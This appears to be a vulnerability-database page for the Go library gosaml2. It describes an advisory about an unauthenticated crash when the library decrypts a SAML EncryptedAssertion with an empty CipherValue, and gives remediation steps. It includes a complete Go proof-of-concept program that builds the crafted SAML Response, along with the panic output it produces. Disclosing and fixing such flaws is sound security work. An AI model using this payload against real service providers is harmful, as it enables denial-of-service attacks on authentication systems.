Vulnerabilities in pkg:golang/github.com/russellhaering/gosaml2
PACKAGECVE-2026-128073 is a HIGH (CVSS 7.5) unauthenticated panic decrypting an encryptedassertion vulnerability (CWE-20: Improper Input Validation) affecting gosaml2 libraries in the Go ecosystem. The issue involves unauthenticated panic decrypting an encryptedassertion with a short or empty ciphervalue. Remediation is available by upgrading affected packages to version 0.12.0.
pkg:golang/github.com/russellhaering/gosaml2
Vulnerability advisories affecting package pkg:golang/github.com/russellhaering/gosaml2. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-5hj8-q7fv-qrj6 | CVE-2026-128073 | HIGH | gosaml2: Unauthenticated panic decrypting an EncryptedAssertion with a short or empty CipherValue |
| GHSA-pcgw-qcv5-h8ch | - | HIGH | Unsigned SAML LogoutRequest Acceptance in gosaml2 |
| GHSA-hwqm-qvj9-4jr2 | - | HIGH | gosaml2 CBC Padding Panic — Unauthenticated Process Crash |
| GHSA-6gc3-crp7-25w5 | CVE-2023-26483 | MODERATE | gosaml2 vulnerable to Denial Of Service Via Deflate Decompression Bomb |
| GHSA-gq5r-cc4w-g8xf | - | HIGH | Duplicate Advisory: gosaml2 is vulnerable to NULL Pointer Dereference from malformed XML signatures |
| GHSA-prjq-f4q3-fvfr | CVE-2020-7731 | HIGH | github.com/russellhaering/gosaml2 is vulnerable to NULL Pointer Dereference |
| GHSA-mqqv-chpx-vq25 | CVE-2020-7711 | HIGH | goxmldsig vulnerable to crash on nil-pointer dereference caused by sending malformed XML signatures |
| GHSA-5684-g483-2249 | - | CRITICAL | Signature Validation Bypass |
| GHSA-xhqq-x44f-9fgg | CVE-2020-29509 | CRITICAL | Authentication Bypass in github.com/russellhaering/gosaml2 |
CVE-2026-128073 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-128073
To remediate this vulnerability, upgrade all affected gosaml2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/russellhaering/gosaml2 to 0.12.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/russellhaering/gosaml2
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-128073, inspect your project dependencies for gosaml2:
inspect dependencies for github.com/russellhaering/gosaml2
Analyze the terminal output to locate any version of gosaml2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.12.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In gosaml2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-128073 Affected gosaml2 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/russellhaering/gosaml2
|
Go |
< 0.12.0
|
0.12.0
|
References
Frequently Asked Questions
What is CVE-2026-128073?
Which gosaml2 versions are affected?
What version fixes CVE-2026-128073?
Is github.com/russellhaering/gosaml2 affected?
What is the CVSS score of CVE-2026-128073?
What CWE is associated with CVE-2026-128073?
How can I check Go dependencies for CVE-2026-128073?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5hj8-q7fv-qrj6",
"modified" : "2026-11-19T20:49:36Z",
"published" : "2026-11-19T20:49:36Z",
"aliases" : [ "CVE-2026-128073" ],
"summary" : "gosaml2: Unauthenticated panic decrypting an EncryptedAssertion with a short or empty CipherValue",
"details" : "### Summary\n\nAn attacker who can supply a crafted SAML Response for parsing can crash a `gosaml2` service provider by sending an `EncryptedAssertion` with AES-GCM encryption metadata and a `CipherValue` shorter than the GCM nonce size (12 bytes). The library panics with `slice bounds out of range` before any validation completes.\n\nThis is a **distinct issue from [GHSA-hwqm-qvj9-4jr2](https://github.com/russellhaering/gosaml2/security/advisories/GHSA-hwqm-qvj9-4jr2)**, which addressed panics in the AES-CBC decryption path (commit [`3418f9ae09063ff8df0ce1bd93f24e538e614def`](https://github.com/russellhaering/gosaml2/commit/3418f9ae09063ff8df0ce1bd93f24e538e614def), included in `v0.10.0`). That fix added a block-size check for CBC but left the AES-GCM path completely unprotected.\n\n### Details\n\n`ValidateEncodedResponse()` decrypts `EncryptedAssertion` nodes before signature or content validation completes. There are two call sites:\n\n1. **Signed Response branch** -- [`decode_response.go#L341`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/decode_response.go#L341)\n2. **Unsigned Response branch** -- [`decode_response.go#L388`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/decode_response.go#L388)\n\nBoth call `decryptAssertions()` ([`decode_response.go#L150-L200`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/decode_response.go#L150-L200)), which calls `EncryptedAssertion.DecryptBytes()` at [`decode_response.go#L176`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/decode_response.go#L176).\n\nInside `DecryptBytes()` ([`types/encrypted_assertion.go#L34-L92`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/types/encrypted_assertion.go#L34-L92)), the AES-GCM branch ([line 53, `case MethodAES128GCM, MethodAES192GCM, MethodAES256GCM:`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/types/encrypted_assertion.go#L53)) slices the decoded ciphertext without checking its length at [line 59](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/types/encrypted_assertion.go#L59):\n\n```go\nnonce, data := data[:c.NonceSize()], data[c.NonceSize():]\n```\n\nIf `CipherValue` decodes to fewer than 12 bytes (GCM nonce size), Go panics with `slice bounds out of range`. All three GCM key sizes (AES-128-GCM, AES-192-GCM, AES-256-GCM) share the same vulnerable branch.\n\n**Comparison with the patched CBC path:** The CBC branch (lines 65-88 of the same file) correctly checks `len(data) % k.BlockSize() != 0` before slicing -- this was the fix for GHSA-hwqm-qvj9-4jr2. The GCM branch has no equivalent guard.\n\nThe attacker only needs the SP's public certificate (typically available in SAML metadata) to wrap a symmetric key via RSA-OAEP. The `CipherValue` for the assertion body can be left empty. No valid signature is required.\n\n### PoC\n\nTest environment:\n- Apple M4 (arm64)\n- Go 1.26.1\n- `gosaml2` v0.11.0 (commit `636e7dda202a4d669644e72404a82616ffcbe004`)\n\nSelf-contained reproduction:\n\n```go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/sha1\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"os\"\n\t\"time\"\n\n\tsaml2 \"github.com/russellhaering/gosaml2\"\n\tdsig \"github.com/russellhaering/goxmldsig\"\n)\n\nfunc main() {\n\t// Generate a throwaway SP key pair.\n\tkey, _ := rsa.GenerateKey(rand.Reader, 2048)\n\ttmpl := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1),\n\t\tSubject: pkix.Name{CommonName: \"sp.example\"},\n\t\tNotBefore: time.Now().Add(-time.Hour),\n\t\tNotAfter: time.Now().Add(time.Hour),\n\t}\n\tcertDER, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key)\n\tcert := tls.Certificate{\n\t\tCertificate: [][]byte{certDER},\n\t\tPrivateKey: key,\n\t}\n\n\t// Wrap an attacker-chosen symmetric key with the SP's public cert.\n\tsymKey := make([]byte, 16)\n\twrappedKey, _ := rsa.EncryptOAEP(sha1.New(), rand.Reader, &key.PublicKey, symKey, nil)\n\n\tresponseXML := fmt.Sprintf(`<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<saml2p:Response xmlns:saml2p=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n xmlns:saml2=\"urn:oasis:names:tc:SAML:2.0:assertion\"\n Version=\"2.0\" ID=\"_id\" IssueInstant=\"2026-03-19T00:00:00Z\">\n <saml2:Issuer>issuer.example</saml2:Issuer>\n <saml2p:Status>\n <saml2p:StatusCode Value=\"urn:oasis:names:tc:SAML:2.0:status:Success\"/>\n </saml2p:Status>\n <saml2:EncryptedAssertion>\n <xenc:EncryptedData xmlns:xenc=\"http://www.w3.org/2001/04/xmlenc#\">\n <xenc:EncryptionMethod Algorithm=\"http://www.w3.org/2009/xmlenc11#aes128-gcm\"/>\n <xenc:CipherData><xenc:CipherValue></xenc:CipherValue></xenc:CipherData>\n <xenc:KeyInfo>\n <xenc:EncryptedKey>\n <xenc:EncryptionMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p\"/>\n <xenc:CipherData><xenc:CipherValue>%s</xenc:CipherValue></xenc:CipherData>\n </xenc:EncryptedKey>\n </xenc:KeyInfo>\n </xenc:EncryptedData>\n </saml2:EncryptedAssertion>\n</saml2p:Response>`, base64.StdEncoding.EncodeToString(wrappedKey))\n\n\tencodedResponse := base64.StdEncoding.EncodeToString([]byte(responseXML))\n\tsp := &saml2.SAMLServiceProvider{\n\t\tAssertionConsumerServiceURL: \"https://sp.example/acs\",\n\t\tSPKeyStore: dsig.TLSCertKeyStore(cert),\n\t}\n\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tfmt.Printf(\"panic: %v\\n\", r)\n\t\t\tos.Exit(0)\n\t\t}\n\t\tfmt.Println(\"no panic\")\n\t\tos.Exit(1)\n\t}()\n\n\t_, err := sp.ValidateEncodedResponse(encodedResponse)\n\tfmt.Printf(\"returned err: %v\\n\", err)\n}\n```\n\nObserved output:\n\n```text\npanic: runtime error: slice bounds out of range [:12] with capacity 0\n```\n\n### Impact\n\nAn attacker who can supply a crafted SAML Response for parsing can crash the service provider process with a single small payload. The library does not use `recover()`, so the panic propagates and terminates the goroutine. The crash happens before any response validation completes, so no valid IdP relationship or signature is required.\n\n### Suggested Fix\n\nAdd a ciphertext length check before splitting out the GCM nonce, matching the defensive pattern already used in the CBC branch:\n\n```go\nif len(data) < c.NonceSize() {\n return nil, fmt.Errorf(\"encrypted data is too short for AES-GCM nonce\")\n}\n```\n\n\n### Addendum: the CBC path was also affected\n\nThis advisory originally described the AES-GCM branch only, and stated that the CBC branch was correctly guarded by the fix for GHSA-hwqm-qvj9-4jr2. That turned out to be incomplete. The CBC guard was:\n\n```go\nif len(data)%k.BlockSize() != 0 {\n\treturn nil, fmt.Errorf(...)\n}\nnonce, data := data[:k.BlockSize()], data[k.BlockSize():]\n```\n\n`0 % 16 == 0`, so an **empty** `CipherValue` passes the modulo check and panics on the following slice with `slice bounds out of range [:16] with capacity 0`. The earlier fix addressed a later panic in the padding-length read, not this one.\n\nThat second case was reported independently by @ericchiang and is merged into this advisory. Both researchers are credited as reporters above. Both branches now carry explicit length checks.\n\n### Patch\n\nFixed in v0.12.0 by https://github.com/russellhaering/gosaml2/pull/281, which adds `len(data) < c.NonceSize()` before the GCM slice and `len(data) < k.BlockSize()` before the CBC slice.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/russellhaering/gosaml2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.12.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.11.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/russellhaering/gosaml2/security/advisories/GHSA-5hj8-q7fv-qrj6"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-128073"
}, {
"type" : "WEB",
"url" : "https://github.com/russellhaering/gosaml2/pull/281"
}, {
"type" : "WEB",
"url" : "https://github.com/russellhaering/gosaml2/commit/b2bd784b196b21f606faaa6a4eeae929bd75aa20"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/russellhaering/gosaml2"
}, {
"type" : "WEB",
"url" : "https://github.com/russellhaering/gosaml2/releases/tag/v0.12.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-248" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-11-19T20:49:36Z",
"nvd_published_at" : "2026-11-17T20:17:42Z"
}
}